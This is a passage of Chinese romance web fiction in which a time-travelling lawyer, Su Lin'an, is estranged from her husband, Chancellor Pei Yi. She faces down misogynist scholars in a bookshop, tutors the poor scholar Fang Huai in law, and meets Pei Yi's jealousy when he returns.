她一寸不移地盯着院内的景象。
浑身被一阵无端的慌乱占满。
她看着小厮遥遥跑到院子的正房,轻敲了敲门,然后木窗上那个颀长的身影动作一顿,缓缓放下手中的文案,轻抿了口茶,薄唇动了动。
然后小厮跑回来告诉她:“大人已然睡下了,不见人。”
可木窗上那个身影与裴翊别无二致,她甚至还看清了那个身影食指在喝茶的杯盏上缓慢地摩挲了一圈。
那样熟悉的动作,那样鲜活的人,院内的灯笼甚至也没有熄灭一盏。
他连伪装都不愿伪装一下,就这样明晃晃找了个假到一眼便能看出来的理由拒绝她。
苏蔺安终于明白暮安先前的欲言又止与心疼是为什么。
20. 不见
裴翊不想见她。
明显到不愿下丝毫心思遮掩的那种。
苏蔺安强忍眼眶的酸涩,不死心地又问:“大人可还曾说了什么?”
小厮干脆摇头。
身体骤然僵住,良久,她才回神,缓缓垂下眼睫。
“好。”
既然裴翊不想见到她,她便也不于此惹人厌烦了。
“流汐,回院子吧。”苏蔺安轻轻开口,朝着厢房的位置慢慢走去。
只是才行了没几步,苏蔺安便克制不住地突然回头。
映照在墙上的黑影依然清晰,端坐在原地一动不动,片响,慢条斯理拂过手中书册。
冷漠、遥远。
她眼尾倏地涌上一股酸意,苏蔺安定定地盯着那,良久,她转身离去。
而楹窗上那个修长冷淡的黑影,也在她向前走的那一刹那,缓缓起身。
可惜苏蔺安看不到。
府内的湖还是那样清澈,微风吹,湖面泛起细细的褶皱,湖心亭中的风铃细碎好听的碰撞声遥遥传来。
她想到裴翊裴翊告诉她“你不是麻烦”,想到裴翊在这个亭子里与她彻夜长谈,想到裴翊在他的书房了布置了番天地,贴心地为她解答疑案。
府内风景依旧,人却变了。
苏蔺安倏然就掉下一滴泪。
就算人心易变,也不该是这个变法。
她无理地想。
下一刻,她迅速抬手抹去那道晶莹,脑海里却全是裴翊的身影。
想到他们接近时那熟悉的墨香味,想到他如海水般事事包容的性格。
正因感受过他的好,所以在察觉裴翊态度转变时她才会这般难过。
她不知原因,不知罪名,就这样被判了死刑。
苏蔺安回想了一番他们这几日的相处,却想不出一丝矛盾的痕迹。她没做出什么惹裴翊生气的事,裴翊也没有必须的理由莫名远离她。
她始终认为,一件事便该有始有终,至少不应该像现下这般没头没尾地单方面结束。
苏蔺安打住心底的低落。
不论如何,就算是死,她也要死个明白。
但照着裴翊今晚这个态度,想要见到他恐怕是天方夜谭。
所以她不能按常理出牌,必须亲自抓到裴翊本人才能有一丝找到真相的可能。
府内,裴翊可以坐在他的院子里闭门不出;府外,裴翊身边有重重官员围着,她连近身的可能都没有。
望着眼前的湖面,苏蔺安一时间有些头疼。
那还有什么地方介于这两者之间呢?
府门口。
倏地,一个地点出现在她脑海中。
保护裴翊的官员侍从至多跟随到这,而裴翊本人更是需要下车经过此地。
-
苏蔺安执行力很强。
第二日天不亮便早早地往大门那边去。
一来,是为午后堵裴翊回府做铺垫;二来,她心底也抱着个侥幸的想法,若是运气好的话,现下便可遇到裴翊问个清楚了。
离上值的时间还有小半个时辰,她对于偶遇裴翊这件事信心满满。
但有时命运便是这般狠心。
从夜半到晌午,从天黑到烈日高悬。
苏蔺安蹲守大门许久,连个准备出府的人影都没见到。
但今日又实打实是上值的日子。
裴翊不可能这个点还在府内。
她站在原地犹豫片刻,决定抓与她一同守在门前的侍卫询问。
“今日怎不见大人的身影?”
“大人昨夜便出府了。”
......
裴翊竟然连夜离府了?
苏蔺安原本自信的心倏然就像个充满气的球被扎破。
他此举,定然是为了不和她碰上。
万一今后他为此连府都不回了,那她这个计谋岂不是全然白费。
苏蔺安悻悻地蹲在原地,在心中默默念叨裴翊几句,却没有离开的意思。
此计能否成功,今日下值时便知晓了。
裴翊若是躲着她,往后必定不会回府,所以今晚便是她唯一的机会。
日暮西垂,来喊苏蔺安用饭的人都到了第三拨,门前却始终未见那个熟悉的身影。
夏季白日燥热的温度褪去,入夜,丝丝凉意浸入肌肤,冰。
她的心也随着温度的下降,逐渐死寂。
裴翊当真狠心。
莫名疏远她后,竟连个问询的机会也不给。
双腿早已在漫长的等待中变得酸胀麻木,苏蔺安轻轻捶打大腿片刻,一手扶着墙,一手撑着地,缓慢地起身。
与此同时,耳畔遥遥传来一阵骏马的啼叫声,她眼前缓缓行驶过来一辆宽敞华贵的马车,须臾,在门口缓慢地停下。
马车上立着根旗,龙飞凤舞地落下一字。
“裴”。
苏蔺安动作一下顿住。
这辆马车裴翊曾和她科普过,只能由他一人使用。
沉寂的心脏像是被注入能量般重新活动。
她一寸不移地盯着眼前。
暮安恭敬地站在马车旁,小心翼翼拉开车帘。一只骨节分明的手由里探出,抵在帘顶。下一刻,男人慢条斯理地从车厢内步出。
紫衣金带,雍容华贵,拒人千里。
一个抬眼,薄长眼皮勾勒出道锋利的弧度,凉薄的视线犹如实质般扎进她的眼中。
他看到她了。
下一刻,裴翊的眉心皱了皱,似是没料到能碰见她。
但此刻的苏蔺安却根本顾不上那么多。
她猛地上前,双腿还是有些发麻,只能一瘸一拐地跑过去。
终于站到了裴翊的面前。
“你为何要突然这般疏远我?”苏蔺安抬头,一双眸子格外赤诚地望着他。
黄昏最后一缕带着温度的光线照到她的脸庞,刺得苏蔺安睁不开眼睛,也看不清裴翊的表情。
唯一能确定的便是,男人此刻依旧沉默。
一言不发,静谧到有些诡异的氛围突然就横插在他们的中间。
“你的腿怎么了?”
良久,男人不答,视线落在她瘸着的腿,才问出一句根本不搭噶的话。
“你为何要疏远我?”
苏蔺安根本不想回答这个问题,她执着地又问。
但裴翊像是除了这句话外便没有想说的了。
他再次听到这个问话,冷淡的目光落在她面庞片响,倏地移开。
苏蔺安看出来了,裴翊也不想回答她。
她盯着男人漠然的面庞良久,只觉得往日赏心悦目的人现下看愈发面目可憎、莫名其妙。
恨恨地道:“我的腿干你什么事?便是断了也与你无关!”
没曾想这句话倒是意外起了效果。
当了许久木头桩子的裴翊居然一下将视线再次落回了她的双腿,语气分外严肃:
“究竟有何不适。”
虚情假意。
若真有这般关心她,为何又要莫名冷待她。
苏蔺安强忍心中的火气,换了一个问法:“你先说为何疏远我,我再告诉你身上到底有何不适。”
这样很公平,她想。
先后顺序也对。
但裴翊就如同个被做好程序的机器人般,一听到这便再次撇开眼。
男人的沉默像是一把刀,利刃出鞘,将她心中的希冀全部斩断。
一阵无力在心中蔓延开来。
苏蔺安不知道怎样能让裴翊回答她的问题。
她似乎得不到这个答案了。
良久,她才找回一点自己的声音,赌气地说:“那你把簪子还我。”
既然要切割,那便分个一干二净才好。
对面的裴翊掀起眼皮,眸底浮着层淡淡的疑惑。
“你的书桌上。”苏蔺安低声提醒。
不料下一刻,先前冷淡到不想和她扯上一缕关系的裴翊竟像是失忆了一般。
“我书桌怎会摆着簪子。”他淡淡道。
若不是苏蔺安亲眼所见,恐怕也要被他这副自然认真的模样骗到。
“我亲眼所见。”她证明。
“你看错了。”裴翊淡声揭过。
“不会的,那簪尾还有我不
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小心摔倒时留下的痕迹。”苏蔺安下意识反驳。
裴翊不语,只是沉沉地注视着她。
苏蔺安也没有回避的趋势,直直回望。
莫名疏远的是他,现下不愿归还银簪的也是他。
两件事,一个人,竟然却是全然相反的结果,裴翊的态度一分为二,苏蔺安彻底迷惑。
两人对峙良久。
“你看错了,你的簪子不在我这。”
话落,裴翊没给苏蔺安回复的机会,径直抛下一句:“还有要务,恕不奉陪。”
说完,竟连府都没回,接着上了马车不知前往何处。
自那日后,苏蔺安听说裴翊日日早出晚归,甚至四五日才回一次府,她也未再见到裴翊的身影。
听到这些消息时,苏蔺安也只是垂了垂睫毛,未做一言。
她独自一人留在府内,其实还是有些不适应没有他的生活。
没人会耐心地帮她解答难搞的案子了,没人会仔细地盯着她喝下每日的汤药了,没人会特地去找开庭现场带她学习。
苏蔺安好像又回到了刚穿越的时候。
孤立无援。
她允许自己为失去如师如友的人这件事伤心几天。
太阳日日升起,苏蔺安突然就明白了一个道理,旁人的陪伴终究会离开,能陪着她走下去的,只有自己。
于是六月十七这一天,她决定出去走走。
没有裴翊记录疑案的手册,那她就自己去外头的书店找,没有裴翊的解答,那她就自己思考。
她不再想依靠别人的解答走捷径成长,苏蔺安要靠自己学习提升长大,就算慢一些,摔倒了,也没关系。
她打算去书肆先买些律法相关的书籍。
但自穿越而来,苏蔺安基本活动在自己的一亩三分地中,在经历首次出行京城衙门那副模样后,听说书肆中文人颇多,难免紧张。
一进去,里面的氛围和她想的确实一样。
书生们三三两两地聚在一起,天南地北地谈论着,你评评我的文章,我道道你的论述。
但,无一例外,皆是男子。
多像京城的衙门。
“夫人是来为家中夫君借书的吗?”一个清秀的男子率先走到苏蔺安的身边。
一声“夫人”,成功将书肆中所有人的目光都吸引了过来。
一瞬间,数十道目光落在苏蔺安的身上,加上先前男子那话,仿佛数万针芒扎在背上。
她咬了咬唇,顶着这些分不出好恶的视线,如实托出:“我是来给自己买书的。”
话音方落,一道轻嗤便从不知哪个角落传了出来。
其余的书生像是找到领袖般,跟着这动静发出轻蔑的“吁”声。
“夫人识得几个字啊,就买书。”一位坐在二楼的男子高傲地瞥她一眼,“来之前可曾了解过书籍的价格?待会莫要闹个没脸啊!”
在经历京城衙门后,苏蔺安对这般明晃晃瞧不起女子的场面早已熟悉。
慈山这些书生,一个个年纪瞧着比她还大,却还没读出个名堂。
这般愚昧,她连搭理的欲望都没有。
苏蔺安转身询问初始那位男子,“店里可有关于律法的书籍?”
“自然有的......”
她点头,正打算让眼前人带路。
不料一道不知从何处突然窜出的巨大力道瞬间将苏蔺安往店外推。
她还未来得及看清人,便听见始作俑者恶里恶气地道:“你一个女子,在家好好相夫教子便是,竟还想买书,简直污了文墨!”
苏蔺安眉心狠狠一皱,还未来得及反应,眼前便瞬间天旋地转,手臂也传来剧烈地、被狠掐的痛意。
耳边是店小二尖锐的叫声,与书生们惊讶的吸气。
她下意识踩稳脚底,想要稳住身影,却还是抵不住这人的牛劲,苏蔺安不得不在混乱中找到书肆的门框,狠狠抓住,这才勉强控制住了身子。
她正打算好好与这人所谓的文人书生好好掰扯,顺便送他去见见知县。
不料下一刻,有人先她一步。
“你们在做什么!”
21. 后腰
苏蔺安下意识望向那声音的来源。
是一个清瘦、陌生的男子。
不是他。
他迅速上前,纤瘦的身姿竟一下便将推她的那位强壮男子拉开。
“姑娘,你没事吧?”
苏蔺安敛睫,轻声答:“无碍。”
“欸你个方淮,平时唯唯诺诺的,现下倒是当起英雄了?!”
推她那男子恶狠狠地说着,举起拳头,像是下一刻就要砸向救她的方淮。
苏蔺安心一紧,下意识拦在了他的跟前。
她不想无辜的人因为她的缘故而受伤。
刹那间,方淮拉住她的衣摆,将苏蔺安拉到书肆的角落,两人这才将将避开。
“这书肆有明令禁止女子进入吗?法典中有任何一个条例禁止女子买书吗?女子便只能在家相夫教子吗?”
苏蔺安忍无可忍,她站到扯人男子的身前,气势却比大了一圈的他还要强大。
“我一不犯法,二没扰乱。倒是你莫名便上来拉扯我,甚至出言侮辱,你可知晓自己已然犯法!”
男子像是被这话惊住,愣了许久,外强中干地回复:“你说犯法便是犯法?可别拿出什么自个捏造的律令来诓我!”
苏蔺安朝他逼近一步,眯了眯眸子,“我捏造律法?”
“你莫名拉扯我,犯法典第四十九页第二条,无故斗殴,笞四十;你出言侮辱我,犯法典第八十七页第四条,骂詈。”
她朝着那男子缓慢地、有力地,一步一步靠近。
“你有什么值得我欺骗的理由?”
话音才落,方才硬气的男子竟一下跌落在地,嘴唇张张合合,一句话也说不出来。
“你...你......”
苏蔺安看着他这软蛋模样,倏地轻嗤一声。
在静谧的书肆中如银铃般动听。
片响,她抱臂悠悠环视了圈书肆中的其他书生,他们先前皆是一副她玷污了书墨,全然不屑的模样。
现下倒是都做了鹌鹑,一个屁也不敢放。
苏蔺安也没有闹事的打算,她侧头看向书肆小二,语气冷淡:“将你们这关于律法的书都包起来。”
不料下一刻,先前二楼那男子竟不知何时下来了,他扶起被她吓摔的那位,恨恨地道:“你这女子,今日大闹书肆究竟是有何居心!莫不是就为了打扰我们温书!”
与先前一样,只要有人带头对她出言不逊,剩下的书生便会像分不清方向的幼鸟般群起而攻之。
“你定是别的学院派来的。”
“是啊是啊,快将她扣下来,不能让此女跑了!”
“老板快动手!她看起来更像是过来扰乱生意的!”
熙熙攘攘,比慈山的集市还要杂乱无秩序。
这群最看不起女子的文人,定然想不到他们现下的模样还比不上他们最鄙夷的妇女。
苏蔺安不做理会,只是轻蔑地瞥了他们一眼。
但这群人却像学不会领情般,竟愈发来劲,声讨她的声音也愈发高昂。
眼见着便有人要上前动手。
“吵什么吵!”突然,一道熟悉严肃的男音由外而来,打断屋里的动静。
“裴相正在隔壁,你们这般吵闹,像个什么模样!”
一瞬间,整个书肆都安静了。
裴翊是公认的寒门希望,也是所有寒门学子的追随的偶像,得知裴翊在附近,所有书生脸上都染上显而易见的激动。
苏蔺安却在一时间滞住了。
因为前来制止的不是别人,正是暮安。
而能使唤动他的,也仅仅只有那人。
这是不是代表裴翊已然将他们方才的动静听了个一干二净。
她不知道,也不愿想。
见书肆安静下来,暮安视线缓缓扫过一圈,接着与她对上,众目睽睽之下,竟丝毫不遮掩地朝她行了个礼。
不用一言一语,便将先前高傲的书生们杀个片甲不留。
“属下先行一步。”暮安姿态谦卑,说完就走。
他全程只做了一件事,帮她解决掉书肆内为难的书生,其余的什么也没干,就连现在书生们挽留他时吵闹的动静也没理睬。
看起来根本不像是过来帮裴翊解决嘈杂的声音。
苏蔺安下意识点了点头。
却对他此番出现的真正动机产生怀疑。
若是嫌吵,为何不管理书生挽留时的哄闹,为何先前不出现只在她被为难时现身,为何解决完刁难她的书生就走。
但她与裴翊的关系早便降至冰点,也不可能是裴翊特地吩咐的暮安过来解围。
苏蔺安自嘲一笑。
也许只是裴翊来时恰好撞上书生为难的哄吵。
“夫人与裴相是什么关系?”倏然,一个小心又谄媚的声音拉回苏蔺安的思绪。
她侧头,便见先前高高在上的学子们对她的表情早已从不屑变成讨好。
苏蔺安心中止不住的冷笑。
见人下菜,看来这群人也没他们口中那般清高。
“是啊,夫人认识裴相怎么也不早些告知。”
更有甚者竟拽着先前欺负她那几人便要强迫他们道歉,全然忘了自己人云亦云的模样。
苏蔺安揉了揉耳朵,不搭理这群人,转头闲聊般对着方淮道:
“这入了夏,蚊虫就是多,吵得人心烦。”
方淮一愣,立即接话,“是啊,姑娘定要小心些,别便宜了他们。”
苏蔺安很给面子地吐出一声轻笑。
书肆中的学子们也讪讪地收回那虚伪的面孔。
小二很快便将苏蔺安所求的书都包好,她也不愿在这书肆浪费时间,径直离开。
只是没想到,方淮竟也跟着她的步伐出来了。
外头不知何时下了小雨,淅淅沥沥,润物无声。
方淮朝苏蔺安点点头,便转身离开。
她下意识出声叫住他。
若没记错,方淮先前正于书肆角落中温书。
但就在方淮转身的刹那间,苏蔺安想明白了。
以书肆那群人捧高踩低的模样,方淮先前出面救下她,恐怕只会引得针对。
于是嘴里的疑惑转了一圈变成,
“多谢方公子前一刻出面之恩,不知该如何报答才好。”
方淮摇摇头,声音清冷,“分内之事,不必多礼。”
苏蔺安却不会就此罢休。
方淮本就是因她受此无妄之灾,她怎会视而不见。
略回想一番,她报出几本关于科举的书籍。
“这些你可有?”
方淮一怔,立即摇头,“多谢姑娘,但实在不必如此。我对科举没兴趣,来书肆也是为了看些律法相关的书籍,做讼师。”
话落,他朝苏蔺安作了个大揖。
“讼师?”苏蔺安的态度一下便变了,她当真没想到方淮竟也是个讼师。
蓦地上前一步,苏蔺安语气不自觉染上惊喜,“我也是讼师!”
这下便好报答得多了。
“我府内有许多
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关于律法的书籍,我去取给你。”她难得强势地做出决定。
方淮回过神,急忙开口,“不可不可......”
“你若是不收下,我心难安。”苏蔺安半真半假地擦擦眼角。
许是同一职业的惺惺相惜,她愿意给方淮多提供些便利。
这番苦肉计,倒真的起了作用。
方淮犹豫良久,“那便多谢姑娘了。”谢完,还体贴地说:“我与你一同去,便不麻烦姑娘多跑一趟了。”
小雨在回府的路上便停了,片片雨迹铺在地面,湿润的气息充斥空中。
苏蔺安让方淮于门口等她,毕竟是裴翊的府邸,她不好随意请人进门。
只是方下车,她的注意力便被一辆华贵,侧扬“裴”旗的马车所吸引。
这是裴翊出行时使用的马车。
出现于此,只能证明一件事:裴翊已然回府了。
苏蔺安一怔。
难得有闲心地感叹起贵的马车就是好些,方才就在隔壁的裴翊,她不过耽误片刻,便让他先到了府。
“姑娘?”
她回神,朝着那站得笔直的方淮点点头,“那我进去啦。”
马车上她简单了解过方淮的基础,得知他家境贫寒,还有位病重的母亲要养,律法也是一边赚钱生计一边学习,学得很是粗糙。
想了想,苏蔺安决定先给方淮拿批基础的书籍,那些实案手记也不适合现在的他。
先前的书籍都存放在裴翊的书房中,确认裴翊不在那后,苏蔺安长松口气,抱了七八本书册出来,艰难又小心地朝石子路尽头走去。
直到这个黑影逐渐缩小成一个点,从头到尾都在注视的晦暗黑眸才稍稍收回了视线。
裴翊站在府内小楼的顶层,这个位置可以将整个府邸一览无余。
他沉默地看着那个背影消失在石子路尽头,又从另一个小门出现,缓缓步向大门。
大门口站着个弱不经风的瘦书生。
他眯了眯眸子,视线骤然一沉。
不出片刻,苏蔺安便如他所料出现在大门了,她笨拙地独自抱着那么多书,没有下人主动分摊,也不知道喊他们搭把手,那个侍女也傻傻地跟在她身后,不知道机灵些。
裴翊额侧突突地疼,走了这么长一段路,苏蔺安的手肯定疼了。
他神色愈发沉寂,食指烦躁地敲了敲围栏,如尊肃穆雕像,一言不发。
他看着苏蔺安表情鲜艳地将那些书册一样样递给那书生,红红的唇张张合合,应是在介绍。
这副动人模样,也曾在他的书房中出现过。
裴翊移开眼,唇抿得像条直线。
树叶上的雨水缓缓滑落,他视线又落在府邸的大门。
书生已然将那些书册收好,苏蔺安朝他点点头,转身朝府里走来。
不料下一刻,她脚下一滑,整个身子不自觉向后倒去。
那双波澜不惊的眼眸在同一瞬间瞳孔放大,裴翊上前一步,握紧身前的木栏,眉蹙得很深。
好在那书生及时地伸手扶在苏蔺安的后腰与身侧,她并未摔倒。
但两人也没有就此分开,苏蔺安不断拍胸顺气,那书生的手也没有放开,反倒关心地低头靠近她。
裴翊猛然松口气,心安了,却不合时宜想到先前与苏蔺安相同的境况下,她总是下意识便离开他,仿佛不想沾染他的分毫。
但直到此刻,她站稳许久,都没有推开书生的意思。
裴翊视线落在那只落于女人后腰的手,久久未移。
22. 双标
“姑娘可还好?”
苏蔺安这才回过神来,她不断拍着胸脯顺气,胸腔中的心脏还在乱跳个不停。
现下这般阴冷的天气,这样泥泞的地面,若是真摔倒了必然不好过。
她感激地看向方淮,这是他第二次帮助她了。
“多谢你,方淮。”
下一刻,方淮脸颊爬上一阵淡淡的红。
苏蔺安察觉后腰处那只有力的手离开了。
她倏地怔住。
方淮与裴翊不同,裴翊体温炙热、无意间触碰,即便是一刻也可以瞬间分辨出这便是他;方淮极凉,手上的温度甚至要与湿润的空气融为一体。
若不是倏然离开,苏蔺安现在都不会发现他的手曾落在自己的后腰。
“雨后湿滑,姑娘定要小心。”
苏蔺安点点头,下意识往身后退了一步,拉开两人间的距离。
一时无言。
方淮不知为何望了她一眼,像是缓解气氛般,“我还要多谢姑娘,这么多书册独自搬来,辛苦你了。”
提起这个,苏蔺安便不再沉寂。
“这八册书中,五本是法典,你定要多读多背,烂熟于心。剩下的第一本......”她兴奋地将没册书的名称以及针对的方面都详细地介绍给方淮,“将这几本读透,你基础便可补上来了。”
“打好地基,接下来的楼建得才好。”苏蔺安朝方淮一笑。
对面的方淮愣了一下。
苏蔺安瞧着他的神色竟倏地黯淡下来。
“怎么了?”
面前的方淮语气歉疚,“让姑娘费心了......我悟性差,实在是暴殄天物了。”
这算得了什么。
苏蔺安现在都记得穿越前身为舞蹈生却毅然决然地报了法律专业,那时的她与现下的方淮一样,很旁人一句话便能理解的,她需要重复温习好几遍才会悟到。
但她从未放弃,毕业后也进了全国数一数二的律所。
慢慢走,也是前进。
“没关系。你若有不懂的不会的可以直接来找我。”苏蔺安腼腆一笑,“我虽算不上什么大儒,但基础的还是可以讲解一番。”
说完,她便感觉一阵热意缓缓蔓延至头顶。
自己都才穿来没多久,前几日还在裴翊指导下学习,现下竟也当上老师了。
脸颊忽然烫烫的。
旋即而来的,便是难过。
今日倏然见到暮安,她蓦地发现裴翊的远离在心底造成的伤口其实还未愈合,像是陈伤,没好完全,于是在某个时刻泛疼地提醒你这段往事。
方淮的动作陡然拉回她思绪,他很给面子地一惊,朝她郑重行了个大礼,“那便多谢姑娘了!”
苏蔺安愣愣地看着这个书生,须臾,缓缓勾起嘴角。
方淮是个很纯粹的男子,他对律法有着超乎苏蔺安意料的执着,遇见不理解的也从不会为了面子不说,每日整理疑惑的条例题目,静待她的讲解。
苏蔺安也很喜欢这样的“学生”。为了给方淮补习,她也开始日日早出晚归,甚至回到府上还要编写明日的案例供他理解。
她与裴翊没再见过面。
那道陈伤似乎也在近日的忙碌下逐渐淡褪。
方淮的悟性并没有他说得那般差,不过是因为先前读的都是些不靠谱的拗口书籍。短短几日,他的基础便已扎实,苏蔺安打算今日带他去看看正儿八经的开庭现场。
今日的案件便是邻居甲圈养的猪跑出去,把邻居乙家的墙撞碎了。两人本已说好了私了,但邻居甲却越想越不划算,拒绝赔偿。
很平常,很好助于理解。
苏蔺安领着方淮进入开庭现场,甲乙二人你一言我一语来回战斗,连知县都被吵得头疼。
“谁让你家猪乱跑的?”
“谁让你家墙建那么脆的?”
更好玩的是,两人各自拥有一套独属于自己的逻辑,嘴仗打得格外有意思,引得堂下众人连连发笑。
就连苏蔺安都忍不住侧头朝方淮偷笑,而平日里清冷的书生也憋不住低下头与她凑到一起勾唇。
“肃静,肃静。”
“肃静!”
知县连拍几下桌面都没起效,倒还像给那两人的争吵添了把火,愈演愈烈,吵闹声快要掀破屋顶。
眼瞧着堂内的氛围就要控制不住。
“砰!”
下一刻,紧闭的、昏暗的公堂突然从身后照进束巨大、刺目的阳光,大门毫不留力地砸在石墙上,回弹两下,接连发出剧烈的响动。
“砰,砰砰。”
刹那间,堂内所有人的目光都被吸引过去。
就连热火朝天的甲乙二人都忘了继续,侧头望向那光线来源处。
一道颀长的黑影率先出现在眼前。
知县连声“哎哟哎哟”下台,苏蔺安瞧着他竟是一脸尊敬得朝那黑影迎去。
细碎的尘烬漫在阳光中,为接下来出现的男人披上层淡淡的金绒。
阳光斜照,遮掩了他的大部分面容,只见身姿挺拔,垂敛长睫如鸦羽细密,良久,他缓缓抬眼,一双深不见底的黑眸没有一丝外露的情绪。
个个五官皆显温和,却无端让人觉得峻冷昳丽。
“裴相!”有人认出了他,低声惊呼,下跪行礼。
平地起惊雷。
堂内众人紧接着,就连不明所以的孩童都被母亲拽下来。
唯有苏蔺安愣在原地。
距离她与裴翊上次见面,已然过去了十日。
说长不长,说短不短。
不能让人穿上秋装,却可让人心心相离。
裴翊才晒黑没多久的皮肤,已经养回原本的颜色了,脖颈上的伤好了,但留下了道浅白的伤痕,几乎要与他原本的皮肤融为一体。
较之先前,他似乎更冷淡了些。
“苏姑娘!”方淮压着声音提醒。
苏蔺安恍然回神,环顾四周,竟然就她一人还站在。
难怪逼得方淮出声提醒。
她正打算与其他人一样,俯身不引注意。
不料下一刻。
“夫人。”
眼前成熟冷峻的男人倏然掀唇。
淡漠的目光随之而来,毫不遮掩地落在她身前。
一个呼吸后。
裴翊视线缓缓上移,直到视线与她对上。
几乎是同一时间。
苏蔺安感受到公堂中所有人的视线都在这两字落下后转移至她,就连身侧的方淮眉眼中都充斥着震惊。
眉心微不可察地蹙了蹙,她站在原地没动。
与她隔着许多人的裴翊也没动。
他就站在那,静静注视着她,他的眉眼上像是覆了一层纱。
苏蔺安看不清他心底的想法。
双方便这样僵持住。
良久,还是裴翊身后的暮安小心开口:“夫人,大人请您过来。”
苏蔺安紧紧盯着面前的男人,不明白他此举的意义。
莫名疏远的是他,现下众目睽睽表明身份的也是他。
裴翊究竟想做什么?
“我陪你去。”身侧的方淮突然站起身,似是看出她的不愿,在她耳边低声道。
苏蔺安身侧的手蜷了蜷。
眼下她是被架在火上烤的蚂蚁,不去也不行。
她敛着眉,在方淮的陪伴下慢慢朝前走去。
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而那道沉重的视线,从未离开。
“这位是...?”
苏蔺安猛地抬头,望着眼前那不带情绪的黑眸,心中骤生无名火,“他叫方淮,是我的朋友!”
裴翊眉眼松了松。
她看着他那道浅淡的视线移到方淮的身上,然后上上下下将他打量了个遍。
全然看不到丝毫的尊重。
苏蔺安上前一步,将方淮挡在身后,“你找我什么事?”
裴翊视线骤然降温,他侧头。
身后的暮安默契上前,“大人有要事相商。”
“好,那走吧。”苏蔺安点点头。
不料下一刻,暮安表情为难地看着方淮。
方淮本就是主动陪伴她上前,现在她若是就这般将他抛下,难免太过无情。
“方淮......”
“我还有事,先行一步。”
她话还未说完,方淮抢先一步提出离开。
“方淮?”苏蔺安忍不住望向他。
方淮扯了个难看的笑容出来,“姑娘,不,夫人。你慢走。”
说完,也不见苏蔺安的反应,径直离去。
马车一个摇晃,苏蔺安才从这段思绪中回神。
方淮的表情实在太难看。
难看到她都忽视了裴翊那时的反应。
“还在想他?”裴翊冷淡的嗓音从身侧传来。
苏蔺安扭头望向窗外,语气比他更冷,“与你何干。”
蓦地,她手腕突然就被一阵炙热的力量握住。
熟悉的、浓郁的书卷墨香瞬间侵入她的空间。
苏蔺安恶狠狠地扭头瞪着裴翊。
“与我何干?”男人淡淡反问,于她身上的力道却愈发重。
“丞相夫人,却日日与一个穷书生早出晚归。”裴翊眯了眯眸子,面庞染上阴郁,“苏蔺安你知道吗?旁人现下望我的眼神都带着怜悯!”
倏地,裴翊轻笑一声,“是与我无关。”
她尝试挣脱的动作一滞。
苏蔺安浑然没想到,她只是帮方淮补习律法,却能平白引来那些无关的人注意。
“我与方淮一清二白,随你信不信。”她带着气靠在椅背,眉皱得极深。
话音方落,手腕上的力道倏然松开了些。
苏蔺安不解地侧头望过去。
却发现裴翊正拧眉盯着她,视线沉沉,似是在辨别真伪。
“果真?”
她轻呵一声,“我懒得骗你。”
这话是真的。
自裴翊的无因疏远后,她早已不愿与他扯上多丝毫的关系。
良久,裴翊收回手,手腕处的桎梏骤然消失。
“如此便好。”
他侧身坐回原位,眉眼轻松,唇角竟还带上丝浅淡的笑意。
与先前狠戾状态天差地别。
这人态度转变得是不是太快了些?
苏蔺安疑惑。
下一刻,裴翊侧头,黑眸不复先前的无情,语气也愈发柔和,“你还在调养身体,慈山也有不少蛰伏的虾虫盯着我们,还在少出去为好。”
他顿了片刻,似是想到什么。神情竟一下阴沉不少,“方淮出现的时机如此及时,定然不是个巧合。”
苏蔺安看着他这副冠冕堂皇的模样,脑海里想到的却是裴翊连续多日早出晚归,府里都见不到他的身影。
她想一一反驳他这些话术,想说自己身体其实早在他疏远她时便好了,想说方淮很好,不是他口中那种人。
眼见着男人还有接着劝阻的意思,这些想说的话瞬间消失,苏蔺安只觉可笑。
“你可以,我为什么不行?”